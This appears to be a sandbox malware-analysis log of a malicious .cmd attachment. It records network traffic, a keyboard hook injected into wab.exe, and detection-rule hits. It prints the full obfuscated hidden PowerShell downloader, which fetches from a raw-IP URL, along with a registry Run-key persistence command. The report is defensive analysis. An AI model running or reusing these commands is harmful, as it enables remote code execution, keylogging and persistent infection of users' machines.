Source: powershell.exe, 00000005.00000002.2276376367.000000000520B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2306982846.0000000007A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2384493968.00000210AE111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2497877400.00000210BCD05000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2304485459.000000000611D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000008.00000003.1828316936.000002087CAE2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.254.34.12:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49750 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Windows user hook set: 0 keyboard low level C:\Program Files (x86)\windows mail\wab.exe

Source: amsi64_7504.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_7752.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7504, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7752, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5868
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5892
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 5868	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 5892	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA0CED6		2_2_00007FFD9BA0CED6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9BA0DC82		2_2_00007FFD9BA0DC82

Source: amsi64_7504.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_7752.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7504, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7752, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8956:120:WilError_03
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: \Sessions\1\BaseNamedObjects\jnbcourg-8XH6PE
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7512:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7504
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7752

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Teklif talebi BAKVENTA-BAKUUsurpationens.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplHGlobeS,beaBedudgrateMor.
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplH
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1888,i,9343559299430913976,12874712062366799984,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1968,i,3232856823138323663,3674453500036115141,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplHGlobeS,beaBedudgrateMor.	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplH	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1888,i,9343559299430913976,12874712062366799984,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1968,i,3232856823138323663,3674453500036115141,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"	Jump to behavior
